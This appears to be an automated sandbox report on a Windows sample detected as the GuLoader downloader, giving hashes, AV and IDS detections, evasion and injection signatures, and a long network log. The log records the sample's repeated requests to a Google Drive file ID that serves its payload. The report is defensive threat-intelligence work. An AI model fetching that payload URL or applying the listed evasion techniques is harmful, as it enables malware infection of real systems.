Edit tour

Windows Analysis Report
fTSt7dc60O.exe

Overview

General Information

Sample name:	fTSt7dc60O.exe renamed because original name is a hash value
Original sample name:	2eaf30511cb438075facb1d59f944a6ddedf3aa5c2620e0916a150f5415983bb.exe
Analysis ID:	1587610
MD5:	0eecc852b848039da55141fb43dd01e2
SHA1:	9f1f57db9890e515dd132bc7d1157ef1a2ff0cad
SHA256:	2eaf30511cb438075facb1d59f944a6ddedf3aa5c2620e0916a150f5415983bb
Tags:	exeuser-adrian__luca
Infos:

Detection

GuLoader

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected GuLoader

AI detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected non-DNS traffic on DNS port

Detected potential crypto function

Drops PE files

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

fTSt7dc60O.exe (PID: 2608 cmdline: "C:\Users\user\Desktop\fTSt7dc60O.exe" MD5: 0EECC852B848039DA55141FB43DD01E2)

fTSt7dc60O.exe (PID: 4640 cmdline: "C:\Users\user\Desktop\fTSt7dc60O.exe" MD5: 0EECC852B848039DA55141FB43DD01E2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1367001967.00000000055DB000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000008.00000002.2484621112.000000000219B000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T15:39:04.044797+0100	2803270	2	Potentially Bad Traffic	192.168.2.7	51990	172.217.18.14	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: fTSt7dc60O.exe	Virustotal: Detection: 77%			Perma Link
Source: fTSt7dc60O.exe	ReversingLabs: Detection: 66%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: fTSt7dc60O.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:51990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.161:443 -> 192.168.2.7:51996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.161:443 -> 192.168.2.7:52062 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52138 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52186 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.161:443 -> 192.168.2.7:52192 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52212 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52214 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52217 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52223 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52225 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52227 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52229 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52231 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52235 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52239 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52241 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52243 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52249 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.161:443 -> 192.168.2.7:52250 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52255 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52263 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52267 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.7:52271 version: TLS 1.2

Source: fTSt7dc60O.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Code function: 0_2_004057D0 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_004057D0
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Code function: 0_2_0040628B FindFirstFileW,FindClose,	0_2_0040628B
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Code function: 0_2_00402770 FindFirstFileW,	0_2_00402770
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Code function: 8_2_00402770 FindFirstFileW,	8_2_00402770
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Code function: 8_2_004057D0 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	8_2_004057D0
Source: C:\Users\user\Desktop\fTSt7dc60O.exe	Code function: 8_2_0040628B FindFirstFileW,FindClose,	8_2_0040628B

Source: global traffic

TCP traffic: 192.168.2.7:51984 -> 1.1.1.1:53

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:51990 -> 172.217.18.14:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
Source: global traffic	HTTP traffic detected: GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
